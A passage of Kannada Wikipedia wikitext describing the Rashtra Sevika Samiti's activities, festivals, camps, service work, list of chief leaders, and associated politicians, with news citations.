ಮಹತ್ವವನ್ನು ಬಣ್ಣಿಸುತ್ತಿದ್ದರು. ಈ ಮೂಲಕ ಸಹಸ್ರಾರು ಹೊಸ ಕಾರ್ಯಕರ್ತೆಯರನ್ನು ರಾಷ್ಟ್ರ ಸೇವೆಗೆ ಅಣಿಗೊಳಿಸಿದರು <ref name="ಕ್ರಾಂತಿ">{{cite web |title=ಮಹಿಳಾ ಜಾಗರಣದ ಅಗ್ರ ಪ್ರತಿಪಾದಕಿ - नारी जागरण की अग्रदूत : लक्ष्मीबाई केलकर (27 नवम्बर पुण्यदिवस विशेष) |url=http://www.krantidoot.in/2015/11/Woman-precursor-of-awakening-Laxmibai-Kelkar.html |website=www.krantidoot.in |accessdate=21 May 2020 |archiveurl=https://web.archive.org/web/20160611052117/http://www.krantidoot.in/2015/11/Woman-precursor-of-awakening-Laxmibai-Kelkar.html |archivedate=11 Jun 2016 |language=Hindi |format=html}}</ref>. ಅವರ ನಿಧನದ ನಂತರ ೪ ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕೆಯರು ಸಂಘಟನೆಯನ್ನು ಮುನ್ನಡೆಸಿದ್ದಾರೆ. ಪ್ರಸ್ತುತ ಮೂಲತ: ಕರ್ನಾಟಕದ, ಬೆಂಗಳೂರಿನ ನಿವಾಸಿಯಾದ ವಿ. ಶಾಂತ ಕುಮಾರಿ (ಶಾಂತಕ್ಕ) ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾರಾಗಿ ಸಂಘಟನೆಯನ್ನು ಮುನ್ನಡೆಸುತ್ತಿದ್ದಾರೆ <ref name="ಜೀ_ರಾಕೇಶತನೇಜಾ"/>. ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾರನ್ನು '''ವಂದನೀಯ''' ಎಂದು ಸಂಭೋದಿಸಲಾಗುತ್ತದೆ. ಲಕ್ಷ್ಮೀಬಾಯಿ ಕೇಳ್ಕರ್ ರವರನ್ನು '''ವಂದನೀಯ ಮೌಶೀಜೀ''' ಎಂದು ಸಂಭೋದಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಆದ್ಯ '''ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾ''' ಎಂಬ ಗೌರವ ನೀಡಲಾಗುತ್ತದೆ<ref name="ಕ್ರಾಂತಿ"/>. ==ಕಾರ್ಯ ಚಟುವಟಿಕೆ== [[ಚಿತ್ರ:V shanthakumari-June-16-2016-4.jpg|200 px|thumb|right|ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯು ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾ ವಂದನೀಯ ಶಾಂತಕ್ಕ]] ===ನಿತ್ಯ ಶಾಖಾ=== ಸಮಿತಿಯು ನಿತ್ಯ ಶಾಖೆಯನ್ನು ತನ್ನ ದೈನಿಕ ಚಟುವಟಿಕೆಯಾಗಿ ಸ್ವೀಕರಿಸಿದೆ. ನಿತ್ಯ ಒಂದು ನಿಶ್ಚಿತ ಸ್ಥಳದಲ್ಲಿ ವಿವಿಧ ವಯಸ್ಸಿನ ತರುಣಿಯರು/ಮಹಿಳೆಯರು ಸೇರಿ, ಆಟ (ಕಬ್ಬಡ್ಡಿ, ಖೋ-ಖೋ), ಯೋಗಾಸನ, ನಿಯುದ್ಧ (ಕರಾಟೆ ಮಾದರಿಯ ಸಮರ ಕಲೆ) ಮುಂತಾದ ಶಾರೀರಿಕ ಚಟುವಟಿಕೆ ಮತ್ತು ಅಮೃತ ವಚನ (ನುಡಿಮತ್ತು), ಹಾಡು, ಸುಭಾಷಿತ-ಶ್ಲೋಕ, ಕತೆ, ಚರ್ಚೆ, ಭೌದ್ಧಿಕ್ (ಭಾಷಣ) ಸೇರಿಧ ವಿವಿಧ ಭೌದ್ಧಿಕ ಚಟುವಟಿಕೆಗಳನ್ನು ಮಾಡುವರು <ref name="ಸಂವಾದ_ಸಮಿತಿ"/>. ಈಚೆಗಿನ ಕಾಲದಲ್ಲಿ ಹೆಣ್ಣು ಮಕ್ಕಳಿಗೆ ಅವಶ್ಯಕವಾದ ಆತ್ಮ ರಕ್ಷಣೆಯ ಮಾರ್ಗಗಳನ್ನು ತಿಳಿಸಿಕೊಡಲಾಗುತ್ತದೆ<ref>{{cite web |last1=ಶುಕ್ಲ |first1=ವಿನೋದ್ ಕುಮಾರ್ |title=ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯು ಸದಸ್ಯೆಯರಿಗೆ ಸ್ವರಕ್ಷಣೆ ತರಭೇತಿ ಕೊಡುತ್ತಿದೆ-Rashtra Sevika Samiti providing self defence training to girls in Mumbai slums |url=https://www.oneindia.com/india/rashtra-sevika-samiti-providing-self-defence-training-to-girls-in-mumbai-slums-2815671.html |website=oneindia |accessdate=22 May 2020 |archiveurl=https://web.archive.org/web/20190920074934/https://www.oneindia.com/india/rashtra-sevika-samiti-providing-self-defence-training-to-girls-in-mumbai-slums-2815671.html |archivedate=20 May 2019 |language=English |format=html |date=30 Nov 2018}}</ref>. ಅನುಶಾಸನಕ್ಕೆ ಇಲ್ಲಿ ತುಂಬಾ ಮಹತ್ವವಿದೆ. '''ಭಗವಾ ಧ್ವಜವನ್ನು''' ತನ್ನ ಗುರುವಾಗಿ ಸ್ವೀಕರಿಸಿರುವ ಸಮಿತಿಯು ಎಲ್ಲಾ ಚಟುವಟಿಕೆಗಳನ್ನು ಈ ಧ್ವಜವನ್ನು ಸಾಕ್ಷಿಯಾಗಿಟ್ಟು ಮಾಡುತ್ತದೆ. ಪ್ರತಿ ದಿನದ ಶಾಖೆಯು ಸಮಿತಿಯ ಪ್ರಾರ್ಥನೆಯೊಂದಿಗೆ ಮುಕ್ತಾಯವಾಗುತ್ತದೆ. ನಿತ್ಯ ಮಾಡುವ ಕಾರಣ ಈ ಅಭ್ಯಾಸವು ವರ್ಷಾನುಗಟ್ಟಲೆ ಇರುತ್ತದೆ. ===ಆದರ್ಶ ವ್ಯಕ್ತಿಗಳು<ref name="orgpreetigandhi"/>=== ಸಮಿತಿಯು ತನ್ನ ಆದರ್ಶವಾಗಿ ಮೂವರು ಪ್ರಭಾವಿ ಸ್ತ್ರೀಯರನ್ನು ನೋಡುತ್ತದೆ. * [[:en:Jijabai|ಜೀಜಾಬಾಯಿ]] - '''ಜೀಜಾ ಮಾತೆ'''. ಛತ್ರಪತಿ ಶಿವಾಜಿ ಮಹಾರಾಜರ ಮಾತೆ ಮತ್ತು ಶಿವಾಜಿಯ ಜೀವನದ ಮೇಲೆ ಅತಿ ಹೆಚ್ಚು ಪ್ರಭಾವ ಬೀರಿದವರು. ಅವರನ್ನು '''ಮಾತೃತ್ವದ''' ಪ್ರತೀಕವಾಗಿ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. * [[ಅಹಲ್ಯಾ ಬಾಯಿ ಹೋಳ್ಕರ]]- '''ಅಹಲ್ಯಾ ಬಾಯಿ ಹೋಳ್ಕರ''' ಒಬ್ಬ ಕುಶಲ ಆಡಳಿತಗಾರ್ತಿ. ಅವರನ್ನು '''ಕರ್ತೃತ್ವದ''' ಪ್ರತೀಕವಾಗಿ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. * [[ಝಾನ್ಸಿ ರಾಣಿ ಲಕ್ಷ್ಮೀಬಾಯಿ]]- ಝಾನ್ಸಿ ರಾಣಿ '''ಲಕ್ಷ್ಮೀಬಾಯಿ''' [[ಭಾರತದ ಪ್ರಥಮ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮ|ಭಾರತದ ಪ್ರಥಮ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮದ]] ಅತ್ಯಂತ ಖ್ಯಾತ ನಾಯಕ ಮಣಿಗಳಲ್ಲಿ ಒಬ್ಬರು. ಅವರನ್ನು '''ನೇರ್ತೃತ್ವದ''' ಪ್ರತೀಕವಾಗಿ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. ===ಉತ್ಸವಗಳು<ref name="ಸಂವಾದ_ಸಮಿತಿ"/>=== * '''[[ಯುಗಾದಿ]]''' - ವರ್ಷಪ್ರತಿಪದ, ಚೈತ್ರ ಶುಕ್ಲ, ಪಾಡ್ಯ. ವರ್ಷದ ಆರಂಭವನ್ನು ಆಚರಿಸಲಾಗುತ್ತದೆ. * '''[[ಗುರು ಪೂರ್ಣಿಮಾ|ಗುರು ಪೂರ್ಣಿಮೆ]]''' - ಆಷಾಢ ಹುಣ್ಣಿಮೆ - '''ವೇದವ್ಯಾಸರ ಜಯಂತಿ''' - ಈ ದಿನ ಸಮಿತಿಯ ಸದಸ್ಯರು '''ಭಗವಾ ಧ್ವಜವನ್ನು''' ಗುರುವೆಂದು ಪೂಜಿಸಿ (ಗುರು ಪೂಜೆ) ತಾವು ಕಾರ್ಯ ವಿಸ್ತಾರಕ್ಕಾಗಿ ಕೂಡಿಟ್ಟ ಹಣವನ್ನು ಅರ್ಪಣೆ ಮಾಡುತ್ತಾರೆ. ಇದನ್ನು '''ಗುರು ದಕ್ಷಿಣೆ''' ಎನ್ನುತ್ತಾರೆ. * '''[[ರಕ್ಷಾ ಬಂಧನ]]''' - ಶ್ರಾವಣ ಹುಣ್ಣಿಮೆ - ಈ ದಿನ ಸಮಿತಿಯ ಸದಸ್ಯರು ಒಬ್ಬರಿಗೊಬ್ಬರು ರಾಖಿಯನ್ನು (ರಕ್ಷೆ) ಕಟ್ಟುತ್ತಾರೆ. ಜೊತೆಗೆ ಸಮಾಜದಲ್ಲಿ ಸೈನಿಕರು, ಆರಕ್ಷಕರು, ಆರೋಗ್ಯಕರ್ಮಿಗಳು, ಸ್ವಚ್ಛತಾಕರ್ಮಿಗಳು ಸೇರಿ ಸಮಾಜದ ವಿವಿಧ ಜನರಲ್ಲಿ ಸಹೋದರತೆಯ ಭಾವ ಮೂಡಲು ರಾಖಿಯನ್ನು ಕಟ್ಟುತ್ತಾರೆ<ref>{{cite news |title=ಸೈನಿಕರೊಂದಿಗೆ ರಕ್ಷಾ ಬಂಧನ-Raksha Bandhan with Soldiers |url=https://www.organiser.org/Encyc/2019/8/28/Raksha-Bandhan-with-Soldiers.html#/web/20200522180956mp_/https://www.organiser.org/ |accessdate=22 May 2020 |publisher=organiser |date=28 Aug 2019 |language=English |format=html |archiveurl=https://web.archive.org/web/20200522180956/https://www.organiser.org/Encyc/2019/8/28/Raksha-Bandhan-with-Soldiers.html#/web/20200522180956mp_/https://www.organiser.org/ |archivedate=22 May 2020}}</ref>. * '''[[ವಿಜಯ ದಶಮಿ]]''' - ಆಶ್ವಯುಜ ಶುದ್ಧ ದಶಮಿ - ಸಂಸ್ಥಾಪನಾ ದಿನ ಕೂಡ. ಈ ದಿನ ವಿವಿಧ ಊರುಗಳಲ್ಲಿ ಪಥಸಂಚಲನವನ್ನೂ (ಶಿಸ್ತುಬದ್ಧವಾಗಿ ಸಮಿತಿಯ ದಿರುಸಿನಲ್ಲಿ ಕೆಲ ದೂರ ಸಾಗುವುದು) ಆಚರಿಸಲಾಗುತ್ತದೆ<ref>{{cite web |title=ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಗೆ 84: ಬೆಂಗಳೂರಿನಲ್ಲಿ ವಿಜಯದಶಮಿ ಉತ್ಸವ ಆಚರಣೆ |url=https://samvada.org/2019/news-digest/rashtra-sevika-samiti-turns-84-celebrates-vijayadashami-utsav-in-city/ |website=samvada.org |publisher=ವಿ.ಎಸ್.ಕೆ |accessdate=22 May 2020 |archiveurl=https://web.archive.org/web/20200517124004/https://samvada.org/2019/news-digest/rashtra-sevika-samiti-turns-84-celebrates-vijayadashami-utsav-in-city/ |archivedate=17 May 2020 |date=19 Oct 2019}}</ref>. * '''[[ಮಕರ ಸಂಕ್ರಾಂತಿ]]''' - ಸೌರ ಮಕರ ಮಾಸದ ಪ್ರಾರಂಭ. ===ಶಿಬಿರ=== ತನ್ನ ಸಮಿತಿಯ ಸದಸ್ಯರ ಕಾರ್ಯಕ್ಷಮತೆ ಹೆಚ್ಚಿಸಲು ಸಮಿತಿಯು ಪ್ರತಿ ವರ್ಷ ಶಿಬಿರಗಳನ್ನು ಆಯೋಜಿಸುತ್ತದೆ. ಇವು ಎಲ್ಲಾ ಪ್ರಾಂತಗಳಲ್ಲಿ ಬೇಸಿಗೆಯ ಏಪ್ರಿಲ್, ಮೇ ತಿಂಗಳಲ್ಲಿ ೧೫ ದಿನಗಳ ಪ್ರಥಮ ವರ್ಷ ಹಾಗೂ ದ್ವಿತೀಯ ವರ್ಷದ ಶಿಕ್ಷಾವರ್ಗಗಳು ನಡೆಯುತ್ತದೆ. ಈ ಶಿಬಿರಗಳಲ್ಲಿ ೧೪ ವರ್ಷ ಮೇಲ್ಪಟ್ಟ ಹುಡುಗಿಯರು, ಯುವತಿಯರು, ಪ್ರೌಡ ಮಹಿಳೆಯರು ಭಾಗವಹಿಸುತ್ತಾರೆ. ಇದನ್ನು ಮುಗಿಸಿದ ಸಮಿತಿಯ ಕಾರ್ಯಕರ್ತೆಯರು ನಾಗಪುರದಲ್ಲಿ ತೃತೀಯ ವರ್ಷದ ಶಿಕ್ಷಾವರ್ಗಕ್ಕೆ ಹೋಗಲು ಅರ್ಹತೆ ಗಳಿಸುತ್ತಾರೆ <ref name="ಸಂವಾದ_ಸಮಿತಿ"/>. ಈ ಶಿಬಿರಗಳಲ್ಲಿ ನಿತ್ಯ ಶಾಖೆಯ ಚಟುವಟಿಕೆಗಳಲ್ಲದೆ, ಸೇವಿಕೆಯರು ಇನ್ನೂ ಹೆಚ್ಚು ಪರಿಣಿತಿ ಪಡೆಯಲು ನುರಿತ ಶಿಕ್ಷಕಿಯರ ಮಾರ್ಗದರ್ಶನವಿರುತ್ತದೆ. ದಂಡ, ಲೆಜೀಮ್ನಿ, ನಿಯುದ್ಧ ಮುಂತಾದ ಶಾರೀರಿಕ ಚಟುವಟಿಕೆ ಮತ್ತು ವಿಶೇಷ ಭೌದ್ಧಿಕ ಚಟುವಟಿಕೆಗಳು ಇರುತ್ತವೆ. ಜೊತೆಗೆ ವಿವಿಧ ದೇಸೀ ಆಟಗಳು ಕೂಡ. ಈ ಶಿಬಿರಗಳ ಮೂಲಕ ಸಮಿತಿಯ ಧ್ಯೇಯೋದ್ಧೇಶಗಳನ್ನು, ಕಾರ್ಯವಿಸ್ತರಿಸುವ ಮಾರ್ಗೋಪಾಯಗಳನ್ನು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ತಿಳಿಸಿಕೊಡಲಾಗುತ್ತದೆ <ref name="ಕನ್ನಡ-ಶಿಬಿರ">{{cite web |last1= |title=ಬೆಂಗಳೂರು: ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿ ಶಿಬಿರ ಮುಕ್ತಾಯ |url=https://kannada.oneindia.com/news/bengaluru/rashtra-sevika-samithi-valedictory-program-084082.html |website=kannada.oneindia.com |publisher=oneindia.com |accessdate=21 May 2020 |archiveurl=https://web.archive.org/web/20200521184349/https://kannada.oneindia.com/news/bengaluru/rashtra-sevika-samithi-valedictory-program-084082.html |archivedate=21 May 2020 |date=12 May 2014}}</ref>. ಈ ಮೂಲಕ ಸೇವಿಕೆಯರನ್ನು ಸಮಾಜದಲ್ಲಿ ಇನ್ನು ಹೆಚ್ಚು ಶಾಖೆಗಳನ್ನು ತೆರೆಯಲು ತಯಾರು ಮಾಡಲಾಗುತ್ತದೆ ತನ್ಮೂಲಕ ಸಮಾಜದ ಸಂಘಟನೆ ಬಲಗೊಳಿಸಲು ಪ್ರಯತ್ನಿಸಲಾಗುತ್ತದೆ. ಅವರಿಗೆ ವೈಯಕ್ತಿಕವಾಗಿ ಬೆಳೆಯಲು ಆಗುತ್ತದೆ ಎಂದು ಯುವ ಸೇವಿಕೆಯರ ನಿಲುವು<ref name="ಎಕ್ಸ್ಪೆಸ್_ಸಮಿತಿ_ಶಿಬಿರ">{{cite news |last1=ಐಯ್ಯಂಗಾರ್ |first1=ರಾಧಿಕಾ |title=ಈ ಯುವತಿ ಸಮಿತಿಯ ಶಿಬಿರಕ್ಕೆ ಏಕೆ ಹೋದಳು-Why did a young woman join a RSS women’s wing camp? |url=https://indianexpress.com/article/india/why-did-a-young-woman-join-a-rashtra-sevika-samiti-camp/ |accessdate=22 May 2020 |publisher=Indianexpress |date=28 Jun 2020 |archiveurl=https://web.archive.org/web/20190828021155/https://indianexpress.com/article/india/why-did-a-young-woman-join-a-rashtra-sevika-samiti-camp/ |archivedate=28 Aug 2020 |language=Engish}}</ref>. ೧೯೪೫ರಲ್ಲಿ ಮೊದಲ ರಾಷ್ಟ್ರ ಮಟ್ಟದ ಶಿಬಿರ ನಡೆಯಿತು<ref name="ಕ್ರಾಂತಿ"/>. ===ಪ್ರಚಾರಿಕಾ=== ಸಮಿತಿಯ ಕಾರ್ಯ ವಿಸ್ತರಿಸಲು ಸಮಿತಿ ಯೋಚಿಸಿದ ಮಾರ್ಗ '''ಪ್ರಚಾರಿಕಾ''' ಪದ್ದತಿ. ಸಂಕ್ಷಿಪ್ತವಾಗಿ ಹೇಳುವುದಾದರೆ, ಕೆಲ ಸಮಿತಿ ಕಾರ್ಯರ್ಕತೆಯರು ತಮ್ಮ ಪೂರ್ಣ ಅವಧಿಯನ್ನು ಸಮಿತಿಯ ಕಾರ್ಯಯೋಜನೆಗಳಿಗೆ ಮೀಸಲಿಡಲು ತಮ್ಮ ಮನೆ, ಪರಿವಾರದಿಂದ ಸಂಪೂರ್ಣವಾಗಿ ದೂರವಿದ್ದು ಸಮಿತಿಯ ವಿವಿಧ ಕಾರ್ಯ ಮಾಡುವುದು<ref name="ಎಕ್ಸ್ಪೆಸ್_ಸಮಿತಿ_ಶಿಬಿರ"/>. ಈ ಸಮಯದಲ್ಲಿ ಕಡಿಮೆ ಖರ್ಚುವೆಚ್ಚ ಮತ್ತು ಅತ್ಯಂತ ಸಾಧಾರಣ ಜೀವನಶೈಲಿಯನ್ನು ಅನುಸರಿಸಿ ಸಮಿತಿ ನಿಶ್ಚಯಿಸಿದ ಕಾರ್ಯಕ್ಷೇತ್ರ ಮತ್ತು ಸ್ಥಳಗಳಲ್ಲಿ ಕಾರ್ಯ ವಿಸ್ತರಿಸುವರು. ಕೆಲವರು ಜೀವನಪರ್ಯಂತ ಮದುವೆಯಾಗದೇ ಸಂಘಟನೆಯ ಕೆಲಸದಲ್ಲಿ ನಿರತರಾಗಿರುವರು. ಇತರರು ಕೆಲ ವರ್ಷಗಳು ಪ್ರಚಾರಿಕಾರಾಗಿದ್ದು ತದನಂತರ ಗೃಹಸ್ತರಾಗಿಯೂ ಸಮಿತಿಯ ಕಾರ್ಯದ ಜೊತೆಗೆ ಗುರುತಿಸಿಕೊಳ್ಳುವರು. ೨೦೧೦ರ ಸುಮಾರಿಗೆ ಸುಮಾರು ೫೦ ಪ್ರಚಾರಿಕಾರಿದ್ದರು<ref name="ಸಂವಾದ_ಸಮಿತಿ"/>. ===ಸೇವಾ ಕಾರ್ಯ=== ಪ್ರಾರಂಭದಿಂದಲೂ ಸಮಿತಿಯು ಸೇವಾ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ತೊಡಗಿಸಿಕೊಂಡಿದೆ. ಸದ್ಯದ ಸಂಖ್ಯೆಗಳ ಪ್ರಕಾರ ೪೭೫ ಸೇವಾ ಯೋಜನೆಗಳನ್ನು ನಡೆಸುತ್ತಿದೆ. ನಾಗಪುರ, ಗುಜರಾತ, ದಿಲ್ಲಿ, ಬೆಂಗಳೂರು ಮುಂತಾದ ಕಡೆಗಳಲ್ಲಿ ಆಯಾ ಕ್ಷೇತ್ರಕ್ಕೆ ಬೇಕಾದ ಸೇವಾ ಕಾರ್ಯ ನಡೆಯುತ್ತದೆ. ಶಿಶುವಿಹಾರ, ವಸತಿಗೃಹ, ವಾಚನಾಲಯ, ಆರೋಗ್ಯ ಕೇಂದ್ರ, ಉದ್ಯೋಗ ಕೇಂದ್ರ, ಹೊಲಿಗೆ, ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಇತ್ಯಾದಿ ಸೇವಾ ಚಡುವಟಿಕೆಗಳಲ್ಲಿ ತನ್ನ ಕಾರ್ಯಕರ್ತೆಯರ ಮೂಲಕ ನಡೆಸುತ್ತದೆ. ಇದಲ್ಲದೆ ಪ್ರಾಕೃತಿಕ ವಿಕೋಪಗಳು ಘಟಿಸಿದಾಗ ಸೂಕ್ತ ಸೇವೆಯಲ್ಲಿ ತೊಡಗಿಸಿಕೊಳ್ಳುತ್ತದೆ<ref name="ಸಂವಾದ_ಸಮಿತಿ"/>. [[ಭೋಪಾಲ್ ದುರಂತ|ಭೋಪಾಲ್ ಅನಿಲ ದುರಂತ]], [[:en:1993 Latur earthquake| ಲಾತೂರ್ ಭೂಕಂಪ]] ಮುಂತಾದ ಪ್ರಾಕೃತಿಕ ವಿಕೋಪಗಳು ಘಟಿಸಿದಾಗ ಸಮಿತಿಯ ಕಾರ್ಯಕರ್ತೆಯರು ಸೂಕ್ತ ಸೇವಾ ಕಾರ್ಯಗಳಲ್ಲಿ ತೊಡಗಿಸಿಕೊಂಡರು<ref name="orgpreetigandhi"/><ref name="ಕ್ರಾಂತಿ"/>. [[ಕೊರೋನಾವೈರಸ್ ಕಾಯಿಲೆ ೨೦೧೯|ಕೋವಿಡ್-೧೯]] ಕಾರಣ ಭಾರತವೂ ಹಲವು ದೇಶಗಳೂ ತೊಂದರೆಯಲ್ಲಿವೆ. ಈ ಸಮಯದಲ್ಲಿ ಸಮಿತಿಯು ಸೇವಾ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ತನ್ನ ಸದಸ್ಯರನ್ನು ಭಾರತದ ಹಲವು ನಗರ, ಗ್ರಾಮಗಳಲ್ಲಿಯೂ ತೊಡಗಿಸಿತು. ಊಟದ ಕಿಟ್, ಅಡುಗೆ, ಮಹಿಳೆಯರಿಗೆ ಅವರ ಅವಶ್ಯಕತೆಗಳಿಗೆ ಅನುಕೂಲಕರವಾದ ಕಿಟ್, ಗರ್ಭಿಣಿಯರಿಗೆ ಪ್ರತ್ಯೇಕ ಪೋಷಕಾಂಶಯುಕ್ತ ಆಹಾರದ ಕಿಟ್ ಮುಂತಾದವುಗಳು. ಜೊತೆಗೆ ಈ ಸಮಯದಲ್ಲಿ ಪರಿವಾರಗಳಲ್ಲಿ ಹಲವು ಮಾನಸಿಕ ತೊಂದರೆಗಳು ಉದ್ಭವಿಸುವ ಕಾರಣ, ಆಪ್ತ ಸಲಹೆ ಮತ್ತು ಸಮಾಲೋಚನೆ ಕೊಡುವ ಕಾರ್ಯಲ್ಲಿ ನಿರತವಾಗಿದೆ. ಇದಲ್ಲದೆ, ೧೦ ಲಕ್ಷ ಮಾಸ್ಕ ತಯ್ಯಾರಿಸಿ ಹಂಚುವುದು ಇತರೆ ಉಪಯುಕ್ತ ಕೆಲಸಗಳಲ್ಲಿ ತೊಡಗಿಸಿಕೊಂಡಿದೆ. ಜೊತೆಗೆ ೨೨ ಲಕ್ಷ ಹಣ ಸಂಗ್ರಹಿಸಿ ಪ್ರಧಾನಮಂತ್ರಿ [[ನರೇಂದ್ರ ಮೋದಿ]] ಕೋವಿಡ್-೧೯ ಸಮಯದಲ್ಲಿ ಶುರು ಮಾಡಿದ[[:en:PM CARES Fund| PM Cares Fund]] ಪರಿಹಾರ ನಿಧಿಗೆ ಕೂಡ ಅರ್ಪಿಸಿದೆ<ref name="ಆಸಾಮ್">{{cite news |title=ರಾಷ್ಟ್ರ ಸೇವಿಕಾ ಸಮಿತಿಯ ಸದಸ್ಯರು ಮಹಿಳೆಯರಿಗೆ ಸಹಾಯ ಮಾಡುತ್ತಿದ್ದಾರೆ, ಕಾಡಿನೊಳಗೆ ಹೋಗಿ ಊಟದ ಸಾಮಗ್ರಿ ಕೊಡುತ್ತಿದ್ದಾರೆ - ''राष्ट्र सेविका समिति की बहनें महिलाओं की कर रहीं मदद, घोर जंगलों के बीच जाकर पहुंचा रहीं राशन'' |url=http://news24x7.in/jharkhand/ranchi-rashtra-sevika-samiti-sisters-helping-women-in-lockdown-in-northeast/ |accessdate=21 May 2020 |agency=news24x7.in |publisher=news24x7.in |date=7 May 2020 |archiveurl=https://web.archive.org/web/20200521174859/http://news24x7.in/jharkhand/ranchi-rashtra-sevika-samiti-sisters-helping-women-in-lockdown-in-northeast/ |archivedate=21 May 2020 |language=Hindi |format=html}}</ref>. ===ವಿದೇಶಗಳಲ್ಲಿ=== [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೇರಿಕ]], [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಂ]] ಸೇರಿ ೧೦ ದೇಶಗಳಲ್ಲಿ ಸಮಿತಿಯು ಕಾರ್ಯನಿರತವಾಗಿದೆ<ref name="ಜೀ_ರಾಕೇಶತನೇಜಾ"/>. ==ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾರ ಪಟ್ಟಿ<ref>{{cite news |last1=ಶರ್ಮಾ |first1=ಪೂಜಾ |title=ಕೆಲಸವೋ, ಮನೆಯೋ - ಆಧುನಿಕ ನಾರಿಗಾಗಿ ಇಲ್ಲಿದೆ ಸಮಿತಿಯ ಉತ್ತರ - At home and work, RSS has a model for the new-age woman |url=http://www.hindustantimes.com/india-news/rss-empowers-women-within-the-context-of-family-and-the-nation/story-jcuQntOF1mZzmkdlNFflrJ.html |accessdate=22 May 2020 |publisher=Hindustan Times |date=8 Dec 2016 |archiveurl=https://web.archive.org/web/20170809200708/http://www.hindustantimes.com/india-news/rss-empowers-women-within-the-context-of-family-and-the-nation/story-jcuQntOF1mZzmkdlNFflrJ.html |archivedate=9 Aug 2017 |language=English |format=html}}</ref>== {| class="wikitable sortable" |- ! ಕ್ರ.ಸಂ!! ಹೆಸರು !! ಹಿಂದಿ/ಮರಾಠಿಯಲ್ಲಿ ಹೆಸರು !! ಜವಾಬ್ದಾರಿ ವರ್ಷಗಳು !! ಟಿಪ್ಪಣಿಗಳು |- | ೧|| [[ಲಕ್ಷ್ಮಿಬಾಯಿ ಕೇಳಕರ]] || मावशी लक्ष्मीबाई केळकर || ೧೯೩೬ - ೧೯೭೮|| ಸೇವಿಕಾ ಸಮಿತಿ ಪ್ರಾರಂಭಿಸಿದವರು. ಆದ್ಯ ಪ್ರಮುಖ್ ಸಂಚಾಲಿಕಾ. ಮೌಸಿ ಕೇಳ್ಕರ್ (मावशी केळकर) ಎಂದೂ ಸಂಭೋದಿಸುತ್ತಾರೆ |- | ೨|| ಸರಸ್ವತಿ ಆಪಟೆ || सरस्वती आपटे || ೧೯೭೮ - ೧೯೯೪|| ತಾಯಿ ಆಪಟೆ (ताई आपटे) ಎಂದು ಕೂಡ ಸಂಭೋದಿಸುತ್ತಿದ್ದರು |- | ೩|| ಉಶಾ-ತಾಯಿ ಚಾಟಿ || उषाताई चाटी || ೧೯೯೪ - ೨೦೦೬|| ೧೯೨೭-೨೦೧೭. |- | ೪|| ಪ್ರಮೀಳಾ-ತಾಯಿ ಮೇಡೆ || प्रमिलाताई मेढे || ೨೦೦೬ - ೨೦೧೨|| ಪ್ರಸ್ತುತ ಸಲಹಾಗಾರರಾಗಿದ್ದಾರೆ |- | ೫|| ವಿ. ಶಾಂತ ಕುಮಾರಿ || शान्तक्का || ೨೦೧೨ - || ೧೯೫೨ರಲ್ಲಿ ಜನನ. |- |} ==ಸಮಿತಿಯೊಂದಿಗೆ ಗುರುತಿಸಿಕೊಂಡ ರಾಜಕಾರಣಿಗಳು== ಭಾರತದ ವಿದೇಶಾಂಗ ವ್ಯವಹಾರಗಳ ಸಚಿವೆಯಾಗಿದ್ದ ಸ್ವರ್ಗೀಯ [[ಸುಷ್ಮಾ ಸ್ವರಾಜ್]]<ref name="ಸುಶ್ಮಾ">{{cite web |title=ಮೌಶೀ ಕೇಳ್ಕರ್ ರವರ ಆಶಯಗಳ ಅನುಗುಣವಾಗಿ ಸರ್ಕಾರದ ಮಹಿಳಾ ಸಬಲೀಕರಣ - Women empowerment policies of govt reflect Mavshi Kelkar’s vision: EAM Sushma Swaraj |url=https://www.newsbharati.com/Encyc/2018/11/28/Women-empowerment-policies-of-govt-reflect-Mavshi-Kelkar-s-vision-EAM-Sushma-Swaraj.amp.html |website=newsbharati.com |accessdate=22 May 2020 |archiveurl=https://web.archive.org/web/20200522183159/https://www.newsbharati.com/Encyc/2018/11/28/Women-empowerment-policies-of-govt-reflect-Mavshi-Kelkar-s-vision-EAM-Sushma-Swaraj.amp.html |archivedate=22 May 2020 |language=English |date=28 Oct 2020}}</ref>, ಲೋಕಸಭೆಯ ೧೬ನೇ ಸ್ಪೀಕರ್ [[Sumitra Mahajan|ಸುಮಿತ್ರಾ ಮಹಾಜನ್]] ಮುಂತಾದ ಮಹಿಳಾ ರಾಜಕಾರಣಿಗಳು ಸಮಿತಿಯ ಸಕ್ರಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು <ref name="ಬಿಬಿಸಿಸಮಿತಿ">{{cite news |last1=ಸಿಂಹ |first1=ಸರೋಜ್ |title=ಆರ್.ಎಸ್.ಎಸ್ನಲ್ಲಿ ಮಹಿಳೆಯರು ಯಾವ ಉಡುಪು ಧರಿಸುತ್ತಾರೆ - आरएसएस में महिलाएं क्या पहनती हैं? |url=https://www.bbc.com/hindi/india-41606806 |accessdate=21 May 2020 |agency=ಬಿ.ಬಿ.ಸಿ |publisher=ಬಿ.ಬಿ.ಸಿ |date=13 Oct 2017 |archiveurl=https://web.archive.org/web/20190717145645/https://www.bbc.com/hindi/india-41606806 |archivedate=17 Jul 2019 |language=Hindi |format=html}}</ref>. 